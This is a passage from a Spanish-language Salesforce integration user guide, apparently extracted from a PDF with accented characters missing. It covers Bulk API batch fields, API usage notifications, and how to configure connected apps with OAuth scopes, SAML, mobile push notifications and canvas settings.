Tiempo total El nmero de milisegundos necesarios para procesar el trabajo. Es la suma de horas de procesamiento en todos
los lotes del trabajo.
de
procesamiento
(ms)

La pgina de detalles del trabajo incluye una lista relacionada de todos los lotes del trabajo. La lista relacionada proporciona los vnculos
Ver solicitud y Ver respuesta para cada lote. Si el lote es un archivo CSV, los vnculos devuelven la solicitud o respuesta en formato
CSV. Si el lote es un archivo XML, los vnculos devuelven la solicitud o respuesta en formato XML. Estos vnculos estn disponibles para
lotes creados en la versin de API 19.0 y posterior.
La lista relacionada de lotes contiene los siguientes campos, que se muestran en orden alfabtico:

Mejora de Salesforce mediante cdigo

Campo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 133

Descripcin

Tiempo de
El nmero de milisegundos necesarios para procesar desencadenadores y otros procesos relacionados con los
procesamiento datos del lote. Si no hay desencadenadores, el valor es 0. No incluye el tiempo empleado para el procesamiento
de Apex (ms) asncrono y operaciones de lotes de Apex.
Tiempo de
El nmero de milisegundos necesarios para procesar de forma activa el lote e incluye el tiempo de procesamiento
procesamiento de Apex. No incluye el tiempo que el lote ha esperado en la cola o el tiempo necesario para la serializacin y
activo de la deserializacin.
API (ms)
Id. del lote El Id. del lote. Puede ser globalmente nico, pero no es necesario.
Hora de
La fecha y hora en la zona horaria UTC en la que ha procesado el procesamiento. Slo es vlido si el estado es
finalizacin Completado.
Registros
fallidos

El nmero de registros que no se han procesado correctamente en el lote.

Registros
procesados

El nmero de registros procesados en este lote en el momento en que se envi la solicitud. Este nmero aumenta
a medida que se procesan los lotes.

Recuento de
reintentos

Nmero de veces que Salesforce ha intentado guardar los resultados de una operacin. Los intentos repetidos se
deben a un problema, como un bloqueo o un lote que tarda mucho en procesarse.

Hora de
inicio

La fecha y hora en la zona horaria UTC a la que se ha creado el lote. No es la hora a la que ha comenzado el
procesamiento, sino la hora a la que se ha aadido el trabajo.

Mensaje de
estado

Contiene las razones del error si el lote no se ha completado correctamente.

Estado

El estado actual de procesamiento del lote:


En cola: El procesamiento del lote no ha comenzado an. Si el trabajo asociado con el lote se cancela, este
lote no se procesa y su estado se define como No procesado.
En curso: El lote se est procesando actualmente. Si el trabajo asociado con este lote se cancela, el lote se
seguir procesando hasta su finalizacin. Debe cerrar el trabajo asociado con este lote para que el lote pueda
finalizar el proceso.
Completado: El lote se ha procesado correctamente y el recurso del resultado est disponible. El recurso
del resultado indica si se han producido errores en algunos registros. Un lote se puede completar incluso si
se han producido errores en algunos de los registros. Si se han producido errores en un subconjunto de
registros, los registros correctos no se deshacen.
Error: El lote no ha solicitado la solicitud completa debido a un error inesperado, como que la solicitud se
est comprimiendo con un formato no compatible o un error de servidor interno.
No procesado: El lote no ha solicitado la solicitud completa debido a un error inesperado, como que la
solicitud se est comprimiendo con un formato no compatible o un error de servidor interno.

Tiempo total El nmero de milisegundos necesarios para procesar el lote. Excluye el tiempo que el lote ha esperado en la cola.
de
procesamiento
(ms)

Mejora de Salesforce mediante cdigo

Campo

Descripcin

Ver
solicitud

Haga clic en el vnculo de un lote para ver la solicitud.

Ver
resultado

Haga clic en el vnculo de un lote para ver los resultados.

Gua del usuario | Integracin de aplicaciones con


Salesforce | 134

CONSULTE TAMBIN
Supervisin de trabajos de carga masiva de datos

Notificaciones de uso de API


Acerca de notificaciones de uso de la API
Cuando cree una notificacin de uso de solicitud, especifique un administrador para que reciba
una notificacin de correo electrnico siempre que su organizacin supere un lmite especificado
para el nmero de solicitudes de la API realizadas en un nmero de horas especfico.
Para ver las notificaciones de uso de API existentes, en Configuracin, haga clic en Supervisin >
Ver notificaciones de uso de API.
Desde la lista de notificaciones, tambin puede realizar lo siguiente:
Haga clic en Modificar o Eliminar para modificar o eliminar una notificacin existente.
Ver el nombre del usuario que recibir la notificacin.
Ver el intervalo de notificacin, que define la frecuencia con la que se envan las notificaciones.
Por ejemplo, si el intervalo de notificacin es de cuatro horas, se enviar una notificacin slo
si la ltima notificacin se envi como mnimo hace cuatro horas. Por lo tanto, en un perodo
de 24 horas, se enviar un mximo de seis notificaciones.
Ver el porcentaje del lmite que, si se supera, activa el envo de una notificacin. Por ejemplo,
si su organizacin tiene un lmite de 1.000.000 de solicitudes y establece un porcentaje de
umbral de 60 (60%) y un intervalo de notificacin de 24 horas, cuando se enven 600.000
solicitudes de API en un perodo de 24 horas, el usuario especificado recibir una notificacin.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para visualizar, crear,
modificar o eliminar
notificaciones:
API activado

Ver el nombre del usuario que cre la notificacin y cundo lo hizo, as como la hora de la ltima modificacin y el nombre del
usuario que la realiz.
Para crear una nueva notificacin, haga clic en Nuevo.
Puede crear hasta diez notificaciones por organizacin.
CONSULTE TAMBIN
Ver notificaciones de uso de API
Creacin y modificacin de notificaciones de uso de API

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 135

Ver notificaciones de uso de API


En la pgina de detalles de notificaciones de uso de API puede visualizar informacin sobre una
notificacin:
Destinatario de la notificacin: El nombre de usuario de la persona a la que se enva la notificacin
de correo electrnico.
Umbral: El porcentaje del lmite de uso que, cuando se alcanza, activa una notificacin de correo
electrnico.
Intervalo de notificacin (Horas): La frecuencia con la que se envan las notificaciones. Por
ejemplo, si el intervalo de notificacin es de cuatro horas, se enviar una notificacin slo si la
ltima notificacin se envi como mnimo hace cuatro horas. Por lo tanto, en un perodo de
24 horas, se enviar un mximo de seis notificaciones.
Creado por: El usuario que ha creado la solicitud de notificacin y la hora de creacin.
Modificado por: El usuario que modific la notificacin por ltima vez.
En esta pgina tambin puede crear una nueva notificacin basada en los valores de la notificacin
que se muestra. Haga clic en Duplicar para crear una nueva notificacin con los valores actuales
introducidos en la nueva notificacin. Puede modificar los valores antes de guardarla.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para visualizar, crear,
modificar o eliminar
notificaciones:
API activado

CONSULTE TAMBIN
Creacin y modificacin de notificaciones de uso de API
Acerca de notificaciones de uso de la API

Creacin y modificacin de notificaciones de uso de API


En la pgina de modificacin de medicin del uso de API (en Configuracin, haga clic en
Supervisin > Ver notificaciones de uso de API), puede proporcionar los valores necesarios
para una notificacin de limitacin de velocidad:
El usuario de Salesforce que recibir las notificaciones.
El porcentaje de umbral: el porcentaje del lmite de velocidad que, una vez superado en el
intervalo de notificacin especificado, activa una notificacin que se enviar al usuario
especificado. El valor debe encontrarse entre 0 y 100.
El perodo de tiempo para el que se mide el nmero de solicitudes, en horas. Por ejemplo, si el
intervalo es 24, la velocidad debe superarse en las ltimas 24 horas para que se enve una
notificacin.
Si cambia el perodo de tiempo, el nuevo perodo no tiene efecto hasta despus de la siguiente
notificacin del perodo de tiempo que existe. Por ejemplo, suponga que ha establecido el
perodo de tiempo para enviar notificaciones cada hora. Despus, a las 4:05 PM, establece el
perodo de tiempo para enviar notificaciones cada 24 horas. Se enva una ltima notificacin
del perodo de tiempo antiguo a las 5:00 PM. La siguiente notificacin se enviara a las 5:00 PM
del da siguiente.

CONSULTE TAMBIN
Ver notificaciones de uso de API
Acerca de notificaciones de uso de la API

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para visualizar, crear,
modificar o eliminar
notificaciones:
API activado

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 136

Aplicaciones de acceso remoto


Resumen de la aplicacin de acceso remoto
Nota: Las aplicaciones de acceso remoto se han sustituido por aplicaciones conectadas. Use
las aplicaciones conectadas con cualquier aplicacin que necesite integrarse con salesforce.com
para comprobar las polticas de seguridad de control y los usuarios de las aplicaciones externas.
Las aplicaciones de acceso remoto se han migrado automticamente a las aplicaciones
conectadas en la versin Summer 13.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO

CONSULTE TAMBIN
Descripcin general de Aplicaciones conectadas

Para gestionar, crear,


modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Aplicaciones conectadas
Descripcin general de Aplicaciones conectadas
PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Descargar paquetes de AppExchange

Una aplicacin conectada integra una aplicacin con Salesforce utilizando API. Las aplicaciones conectadas utilizan protocolos estndar
de SAML y OAuth para autenticar, proporcionar inicios de sesin nicos y tokens para utilizar con las API de Salesforce. Adems de las
funciones estndar de OAuth, las aplicaciones conectadas permiten a los administradores establecer varias polticas de seguridad y tener
un control completo de quin puede utilizar las aplicaciones.
Un desarrollador o un administrador define una aplicacin conectada para Salesforce mediante la siguiente informacin.
Nombre, descripcin, logotipo e informacin de contacto
Una direccin URL en la que Salesforce pueda localizar la aplicacin para su autorizacin o identificacin.
El protocolo de autorizacin: OAuth, SAML o ambos.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 137

Intervalos IP opcionales donde se puede ejecutar la aplicacin conectada.


Informacin opcional acerca de las polticas mviles que la aplicacin conectada puede cumplir.
En el caso de las aplicaciones conectadas que usan proveedores de servicios de OAuth, defina los mbitos de OAuth y la direccin URL
de devolucin de llamada para la aplicacin conectada. A su vez, Salesforce proporciona una clave y un secreto de consumidor de OAuth
para la autorizacin de la aplicacin conectada.
En el caso de las aplicaciones conectadas que usan proveedores de servicios de SAML, defina el identificador de entidad, la direccin
URL de ACS (afirmacin del servicio del consumidor), el tipo de asunto, el formato de identificador de nombre y el emisor (estos deben
estar disponibles en el proveedor de servicios) para la autorizacin de la aplicacin conectada.
Hay dos modos de implementacin:
La aplicacin se crea y utiliza en la misma organizacin. Este es un caso de uso habitual para departamentos de TI por ejemplo.
La aplicacin se crea en una organizacin y se instala en otra organizacin. Este es el modo en que una entidad con varias
organizaciones o un ISV debe utilizar aplicaciones conectadas.
Los administradores pueden instalar la aplicacin conectada en su organizacin, habilitar la autenticacin de SAML y usar perfiles,
conjuntos de permisos y restricciones de intervalos IP para controlar qu usuarios pueden acceder a la aplicacin. Pueden configurar la
aplicacin conectada para exponerla como una aplicacin de lienzo para mejorar la integracin con la interfaz de usuario de Salesforce.
Adems, los administradores pueden desinstalar la aplicacin conectada e instalar una versin ms reciente si un desarrollador actualiza
la aplicacin remota e informa a los administradores de que hay una versin nueva disponible.
Nota: Los paquetes de aplicaciones conectadas gestionadas de Salesforce como aquellos para la aplicacin descargable Salesforce1
no se pueden desinstalar. Se actualizan automticamente cuando se actualiza la sesin del siguiente usuario.
Las aplicaciones conectadas solo se pueden agregar a paquetes gestionados. Las aplicaciones conectadas no se admiten para los paquetes
no gestionados.
CONSULTE TAMBIN
Creacin de una aplicacin conectada
Modificacin, paquetes o eliminacin de una aplicacin conectada

Creacin de una aplicacin conectada


PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Descargar paquetes de AppExchange

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 138

Para crear una aplicacin conectada:


1. Desde Configuracin, haga clic en Crear > Aplicaciones.
2. En la seccinAplicaciones conectadas, haga clic en Nueva.
La informacin que introduce para crear una aplicacin conectada est dividida en las siguientes partes:
Informacin bsica
API (Activar configuracin de OAuth)
Configuracin de aplicaciones Web
Configuracin de la aplicacin Mobile
Configuracin de aplicacin de lienzo
Puede crear una aplicacin conectada sin especificar ninguna autorizacin, lienzo o configuracin de Mobile. Este tipo de aplicacin
conectada se comporta como un "marcador" en la URL especificada que aparece en el Iniciador de aplicacin del usuario y el men de
aplicacin desplegable. Simplemente introduzca informacin bsica y proporciona una URL de inicio en la configuracin de
aplicacin Web. Si el destino requiere autenticacin, el servicio que aloja la URL de destino podra solicitar a los usuarios proporcionar
credenciales de inicio de sesin al navegar hacia l.
Cuando haya finalizado la introduccin de la informacin, haga clic en Guardar para guardar su nueva aplicacin. Ahora puede publicar
su aplicacin, realizar ms modificaciones o eliminarla. Si est utilizando OAuth, el almacenamiento de su aplicacin le proporciona dos
nuevos valores que la aplicacin utiliza para comunicarse con Salesforce:
Clave de consumidor: Valor empleado por el consumidor para identificarse en Salesforce. Tambin denominado client_id
en OAuth 2.0.
Pregunta secreta de consumidor: Pregunta secreta utilizada por el consumidor para establecer la propiedad de la
clave de consumidor. Tambin denominado client_secret en OAuth 2.0.
Importante: Cuando actualice los campos para una aplicacin conectada, tenga en cuenta que los cambios en algunos campos
se aplican de inmediato tambin a todas las versiones instaladas de la aplicacin conectada. Se trata de campos independientes
de la versin que omiten el ciclo de vida del empaquetado o la instalacin. Los usuarios de la aplicacin conectada vern por
ejemplo el cambio de la descripcin. Los siguiente campos tienen este comportamiento independiente de la versin.
Descripcin
URL de informacin
URL de imagen de logotipo
URL de devolucin de llamada

Informacin bsica
Especifique informacin bsica acerca de su aplicacin en esta seccin, incluyendo el nombre, el logotipo y la informacin de contacto
de la aplicacin.
1. Introduzca el Nombre de aplicacin conectada. Este nombre aparece en la lista de aplicaciones conectadas.
Nota: El nombre debe ser nico para las aplicaciones conectadas actuales de su organizacin. Puede reutilizar el nombre de
una aplicacin conectada eliminada si la aplicacin conectada se cre con la versin Spring '14 o posterior. No puede reutilizar
el nombre de una aplicacin conectada eliminada si la aplicacin conectada se cre con una versin anterior.
2. Introduzca el Nombre de la API que se utiliza al hacer referencia a su aplicacin desde un programa. El valor predeterminado
es una versin del nombre sin espacios. nicamente se permiten letras, nmeros y guiones bajos, as que deber modificar el nombre
predeterminado si el nombre de la aplicacin original contiene cualquier otro carcter.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 139

3. Proporcione el Correo electrnico de contacto que salesforce.com debe utilizar para ponerse en contacto con usted
o con su equipo de atencin al cliente. Esta direccin no se proporciona a administradores que instalan la aplicacin.
4. Proporcione el Telfono de contacto de salesforce.com en el que podamos contactarle en caso necesario. Este nmero
no se proporciona a administradores que instalan la aplicacin.
5. Introduzca una URL de imagen del logotipo para mostrar su logotipo en la lista de aplicaciones conectadas y en la
pgina de consentimiento que los usuarios ven al autenticar. La URL debe utilizar HTTPS. La imagen del logotipo no puede ser
superior a 125 pixeles de alto o 200 pixeles de ancho y debe tener un formato de archivo GIF, JPG, o PNG con un tamao de archivo
mximo de 100 KB. El logotipo predeterminado es una nube. Dispone de varias formas de agregar un logotipo personalizado.
Puede cargar su propia imagen de logotipo haciendo clic en Cargar imagen de logotipo. Seleccione una imagen de su sistema
de archivos local que cumplen los requisitos de tamao para el logotipo. Cuando realiza la carga correctamente, la URL en el
logotipo aparece en el campo URL de imagen de logotipo. De lo contrario, asegrese de que el logotipo cumple
con los requisitos de tamao.
Tambin puede seleccionar un logotipo en las muestras proporcionadas si hace clic en Seleccione uno de nuestros logotipos
de muestra. Los logotipos disponibles incluyen las aplicaciones de Salesforce, las aplicaciones de terceros y los organismos de
estandarizacin. Haga clic en logotipo que desea y luego copie y pegue la URL que aparece en el campo URL de imagen
de logotipo.
Puede utilizar un logotipo alojado pblicamente en servidores de Salesforce cargando una imagen que cumple con los requisitos
de archivo de logotipo (125 pixeles de altura o 200 pixeles de ancho, como mximo, y en el formato de archivo GIF, JPG o PNG
con un tamao de archivo mximo de 100 KB) como un documento utilizando la ficha Documentos. A continuacin, visualice
la imagen para obtener la URL e introduzca la URL en el campo URL de imagen de logotipo.
6. Introduzca una URL de icono para mostrar un logotipo en la pgina de aprobacin de OAuth que los usuarios ven cuando
utilizan su aplicacin por primera vez. El logotipo debe tener 16 pxeles de alto y ancho sobre un fondo blanco. Tambin hay logotipos
de muestra para los iconos.
Puede seleccionar un icono en las muestras proporcionadas si hace clic en Seleccione uno de nuestros logotipos de muestra.
Haga clic en el icono que desea y luego copie y pegue la URL que aparece en el campo URL de icono.
7. Si existe una pgina Web con ms informacin acerca de su aplicacin, proporcione una URL de informacin.
8. Introduzca una Descripcin para mostrar en la lista de aplicaciones conectadas.
Antes de Winter 14, la URL de inicio y URL de inicio de Mobile se definan en esta seccin. Ahora, estos campos se
pueden encontrar en Configuracin de aplicacin Web y Configuracin de aplicacin de Mobile a continuacin.

API (Activar configuracin de OAuth)


Esta seccin controla cmo se comunica su aplicacin con Salesforce. Seleccione Activar configuracin de OAuth para
configurar ajustes de autenticacin.
1. Introduzca la URL de devolucin de llamada (extremo) a la que Salesforce devuelve las llamadas en su aplicacin
durante OAuth; es la redirect_uri (uri de redireccin) de OAuth. Segn el flujo de OAuth usado, esta suele ser la direccin
URL a la que el explorador del usuario se redirige tras la autenticacin correcta. Dado que esta direccin URL se usa para que algunos
flujos de OAuth pasen un token de acceso, la direccin URL debe usar un esquema HTTP (HTTPS) o URI personalizado seguros.
2. Si est utilizando el flujo JWT OAuth, seleccione Utilizar firmas digitales. Si la aplicacin utiliza un certificado, haga
clic en Seleccionar archivo y seleccione el archivo del certificado.
3. Agregue todos los mbitos compatibles de OAuth en mbitos seleccionados de OAuth. Esos mbitos hacen referencia
a permisos otorgados por el usuario que ejecuta la aplicacin conectada y van seguidos por su nombre de token de OAuth entre
parntesis:

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 140

Acceder y gestionar sus noticias en tiempo real (chatter_api)


Solamente permite el acceso a los recursos de la API de REST de Chatter.
Acceder y gestionar sus datos (api)
Permite el acceso a la cuenta en la que ha iniciado sesin el usuario mediante API, como la API de REST y la API masiva. Este valor
incluye tambin chatter_api, que permite acceder a recursos de la API de REST de Chatter.
Acceder a su informacin bsica (id, perfil, correo electrnico, direccin, telfono)
Permite el acceso al servicio de URL de identidad.
Acceder a los permisos personalizados (custom_permissions)
Permite el acceso a los permisos personalizados de una organizacin asociada a la aplicacin conectada e indica si el usuario
actual tiene cada permiso habilitado.
Permitir el acceso a su identificador nico (openid)
Permite acceder al identificador nico en el que ha iniciado sesin el usuario para aplicaciones de OpenID Connect.
Acceso completo (completo)
Permite acceder a todos los datos a los que puede acceder el usuario que ha iniciado sesin y engloba los dems mbitos. full
no devuelve un token de actualizacin. Debe solicitar expresamente el mbito refresh_token para obtener un token de
actualizacin.
Realizar consultas en su nombre en cualquier momento (refresh_token, offline_access)
Permite que se devuelva un token de actualizacin en caso de que pueda recibir uno. Eso permite que la aplicacin interacte
con los datos del usuario mientras el usuario est fuera de lnea. El mbito refresh_token es sinnimo de
offline_access.
Proporcionar acceso a aplicaciones personalizadas (visualforce)
Permite el acceso a las pginas de Visualforce.
Proporcionar acceso a sus datos a travs de la Web (web)
Permite la capacidad de utilizar access_token en la Web. Esto incluye tambin Visualforce, lo que permite acceder
a pginas de Visualforce.
Si su organizacin ha seleccionado la opcin No se necesita aprobacin de usuario para usuarios de esta
organizacin en su acceso remoto anterior a la versin Spring 12, los usuarios en la misma organizacin as como aquella en la
que se ha creado la aplicacin an tienen aprobacin automtica para la aplicacin. La casilla de verificacin de solo lectura No se
necesita aprobacin de usuario para usuarios de esta organizacin est seleccionada para mostrar
esta condicin. Para aplicaciones conectadas, el procedimiento recomendado despus de crear una aplicacin es que los administradores
instalen la aplicacin y luego establezcan Usuarios autorizados como Usuarios aprobados por el
administrador. Si no se ha seleccionado la opcin de acceso remoto en un principio, no aparece la casilla de verificacin.

Configuracin de aplicaciones Web


Introduzca una URL de inicio de su aplicacin para dirigir a sus usuarios a una ubicacin especfica despus de su autenticacin.
Si no introduce un valor para URL de inicio, se enviar a los usuarios a la pgina de inicio predeterminada de la aplicacin cuando
finalice la autenticacin. Si la aplicacin conectada que est creando es una aplicacin de lienzo, no necesita introducir un valor para
este campo. El campo URL de aplicacin de lienzo contiene la direccin URL llamada para la aplicacin conectada.
Si su aplicacin conectada va a utilizar un proveedor de servicio SAML, seleccione Activar SAML. Introduzca el Id. de entidad,
la URL de ACS, el Tipo de asunto, el Formato de Id. de nombre y el Distribuidor que le ofrece su proveedor
de servicios. Seleccione Verificar firmas de solicitud si el proveedor de servicios le proporcion un certificado de
seguridad. Examine su sistema para el certificado. Esto slo es necesario si piensa iniciar sesin en Salesforce por el proveedor de servicio
y el proveedor de servicio firma sus solicitudes SAML.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 141

Importante: Si carga un certificado, todas las solicitudes SAML deben estar firmadas. Si no se carga ningn certificado, se aceptan
todas las solicitudes SAML.
Opcionalmente, seleccione Cifrar respuesta de SAML para cargar un certificado y seleccionar un mtodo de cifrado para
cifrar la afirmacin. Los valores vlidos del algoritmo de cifrado son AES-128 (clave de 128 bits), AES256 (clave de 256 bits) y
Triple DES (algoritmo de cifrado de datos triple).

Configuracin de la aplicacin Mobile


1. Introduzca el valor de URL de inicio de Mobile para dirigir los usuarios a una ubicacin especfica cuando se accede a
la aplicacin desde un dispositivo mvil. Si no introduce una URL de inicio de Mobile, se enviarn los usuarios a la URL
de inicio definida en Configuracin de aplicacin Web. Si la aplicacin conectada que va a crear es una aplicacin de lienzo,
no necesita introducir un valor para este campo. El campo URL de aplicacin de lienzo contiene la URL que se activa para la aplicacin
conectada.
2. Seleccione Proteccin de PIN si la aplicacin admite la proteccin con PIN. Esto permite al administrador configurar el
tiempo de espera de sesin y la longitud del PIN para las aplicaciones mviles despus de instalar la aplicacin conectada. La
proteccin con PIN se admite automticamente con el SDK de Salesforce Mobile (https://developer.salesforce.com/page/Mobile_SDK).
Adems, puede implementarla manualmente mediante la lectura del objeto mobile_policy desde la direccin URL de identidad
del usuario.
3. Especifique el valor de Plataforma de aplicacin mediante la seleccin de iOS o Android en la lista desplegable.
4. Especifique el factor o los factores de formulario del dispositivo admitido para la aplicacin mvil en la lista desplegable Restringir
a tipo de dispositivo. Los valores posibles son Telfono, Tablet o Mini-Tablet. Si la aplicacin es universal (es decir,
admite todos los factores de formulario), no seleccione ningn valor.
5. Introduzca el nmero de Versin de la aplicacin de la aplicacin mvil.
6. Introduzca el valor de Versin de SO mnima requerido para la aplicacin.
7. Seleccione Aplicacin privada para confirmar si la aplicacin solo es para su distribucin interna (no pblica). Esto es
obligatorio porque Apple no permite la distribucin de aplicaciones mviles pblicas fuera de App Store.
8. Si la aplicacin mvil es privada, especifique la ubicacin del archivo de Elemento binario de aplicacin mvil.
Se trata de un archivo IPA para iOS y un archivo APK para Android.
9. Solo para aplicaciones con iOS:
a. Especifique la ubicacin del icono de aplicacin. Este es el icono que se muestra durante la descarga e instalacin de la aplicacin
en un dispositivo con iOS.
b. Especifique el identificador del paquete de iOS.
Nota: Para iOS 7 y posterior, debe especificar el mismo identificador de paquete usado para desarrollar la aplicacin en
XCode. En caso contrario, el usuario final ver dos iconos de aplicacin en la instalacin de la aplicacin.
10. Si la aplicacin conectada mvil es una aplicacin pblica y no ha cargado su archivo binario en Salesforce, introduzca el valor de
URL de elemento binario de aplicacin aqu.
Nota: Si elimina la integracin de Mobile de una nueva versin de una aplicacin conectada existente, la integracin de Mobile
ya no se incluye en ninguna versin de la aplicacin conectada. Por ejemplo, imagine publicar un paquete con la versin 1.0 de
su aplicacin conectada con integracin de Mobile. Luego elimine la integracin de Mobile de la aplicacin, vuelva a empaquetarla
y publquela como versin 1.1. Si un cliente instala el anterior paquete con versin 1.0 en este punto, la aplicacin conectada
versin 1.0 no incluir la integracin de Mobile.
Su aplicacin conectada puede recibir notificaciones distribuidas si:

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 142

La aplicacin se ha creado con el SDK de Salesforce Mobile.


La aplicacin implementa el protocolo de notificacin distribuida del SDK de Mobile para su plataforma.
Es un desarrollador registrado con un proveedor de plataformas mviles (Apple o Google).
La aplicacin se ha registrado con el servicio de notificaciones distribuidas de Apple (Apple Push Notification Service [APNS]) para
las notificaciones distribuidas de iOS o con el servicio de mensajera en la nube de Google (Google Cloud Messaging [GCM]) para
las notificaciones distribuidas de Android.
Ha implementado controladores de Apex para las notificaciones distribuidas.
Nota: Una aplicacin conectada habilitada para las notificaciones distribuidas solo admite una plataforma mvil. Si especifica
versiones de Android e iOS de la aplicacin mvil y necesita admitir las notificaciones distribuidas en ambas versiones, cree una
aplicacin conectada para cada plataforma.
Para obtener informacin sobre cmo cumplir estos requisitos, consulte la gua de implementacin de notificaciones distribuidas de
Salesforce Mobile.
Para configurar las notificaciones distribuidas para APNS (iOS):
1. Seleccione Mensajera de envo activada.
2. Para Plataforma de envo admitida, seleccione Apple.
3. Seleccione el entorno de Apple vlido para su certificacin de notificaciones distribuidas de APNS.
4. Para Certificado, seleccione el archivo de certificado .p12 que ha recibido de APNS al registrar su aplicacin para las notificaciones
distribuidas (por ejemplo, appkey.p12).
5. Introduzca la contrasea para el archivo de certificado .p12.
Para configurar las notificaciones distribuidas para GCM (Android):
1. Seleccione Mensajera de envo activada.
2. Para Plataforma de envo admitida, seleccione Android GCM.
3. Para Clave para aplicaciones de servidor (clave de API), introduzca la clave obtenida durante el registro como desarrollador en Google.
Para cambiar la plataforma mvil configurada para las notificaciones distribuidas:
1. Cancele la seleccin de Mensajera de envo activada.
2. Guarde la aplicacin conectada y, a continuacin, haga clic en Modificar.
3. Cambie Plataforma de aplicacin y los valores asociados en la configuracin de la aplicacin mvil para reflejar la nueva plataforma.
4. Vuelva a configurar las notificaciones distribuidas para la nueva plataforma.

Configuracin de aplicacin de lienzo


Hay dos tipos de aplicaciones de lienzo disponibles:
Aplicaciones de lienzo instaladas por el administrador de la organizacin.
Aplicaciones personales de lienzo instaladas por usuarios finales en las organizaciones. Los usuarios acceden a una aplicacin personal
de lienzo desde la ficha Chatter y se les solicita permitir conectar la aplicacin a sus datos de Salesforce. Estos pasos incluyen convertir
opcionalmente una aplicacin en una aplicacin personal de lienzo. Para obtener informacin, consulte Aplicaciones personales
de lienzo en la Gua del desarrollador de Force.com Canvas.
1. Si su aplicacin conectada se va a exponer como una aplicacin de lienzo, seleccione Lienzo de Force.com.
2. Escriba la URL de aplicacin de lienzo en la aplicacin externa. El usuario se dirigir a esta URL cuando haga clic en
el vnculo hacia su aplicacin de lienzo.
3. Seleccione un Mtodo de acceso. Esto especifica cmo inicia la aplicacin de lienzo el flujo de autenticacin de OAuth.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 143

Solicitud firmada (POST): Se utiliza la autenticacin de OAuth, pero cuando el administrador instala la aplicacin
de lienzo, permite implcitamente el acceso a los usuarios. Por lo tanto, no se pedir al usuario que permita el acceso a su
informacin de usuario a terceros. Cuando utilice este mtodo de acceso, la autenticacin se publicar directamente en la URL
de la aplicacin de lienzo.
Si su aplicacin de lienzo utiliza una autenticacin por solicitud firmada, asegrese de no agregar Realice solicitudes
en su nombre en cualquier momento en el campo mbitos de OAuth seleccionados. La autorizacin
por solicitud firmada nunca devuelve un token de actualizacin, aunque se seleccione este valor de campo.
Flujo Web OAuth (GET): Se utiliza la autenticacin de OAuth y se pide al usuario que permita que la aplicacin externa
acceda a su informacin. Cuando utiliza este mtodo de acceso, la aplicacin de lienzo debe iniciar el flujo de autenticacin de
OAuth.
4. Si va a usar el inicio de sesin nico (SSO) de SAML para la autenticacin de la aplicacin de lienzo, seleccione el campo Mtodo
de iniciacin de SAML. Este campo se habilita si selecciona Habilitar SAML en la seccin Configuracin de aplicacin
Web. Las opciones para este campo son:
Proveedor de identidad iniciado: Salesforce hace una solicitud inicial para iniciar el flujo de SSO.
Proveedor de servicios iniciado: la aplicacin de lienzo inicia el flujo de SSO una vez invocada la aplicacin.
5. En Ubicaciones, seleccione dnde puede aparecer la aplicacin de lienzo para los usuarios.
Noticias en tiempo real de Chatter: La aplicacin de lienzo aparece en la noticia en tiempo real. Si esta opcin est seleccionada,
debe crear un elemento de noticias en tiempo real CanvasPost y asegurarse de que el usuario actual tiene acceso a la aplicacin
de lienzo.
Ficha de Chatter: La aplicacin de lienzo aparece en la lista de navegacin de la aplicacin en la ficha Chatter. Si esta opcin
est seleccionada, la aplicacin de lienzo aparecer all automticamente.
Consola: la aplicacin de lienzo se muestra en el pie de pgina o las barras laterales de una consola de Salesforce. Si se selecciona
esta opcin, debe elegir donde aparecer la aplicacin de lienzo en una consola agregndola como un componente de consola
personalizado.
Formatos y tarjetas mviles: la aplicacin de lienzo se puede mostrar en un formato de pgina o una tarjeta mvil. Si esta
opcin est seleccionada, puede elegir la ubicacin en la que se muestra la aplicacin de lienzo si la agrega al formato de pgina.
Mobile Nav: La aplicacin de lienzo es accesible desde el men de navegacin en Salesforce1.
Nota: Las aplicaciones de lienzo no aparecen en el men de navegacin de Salesforce1 en dispositivos mviles Android.
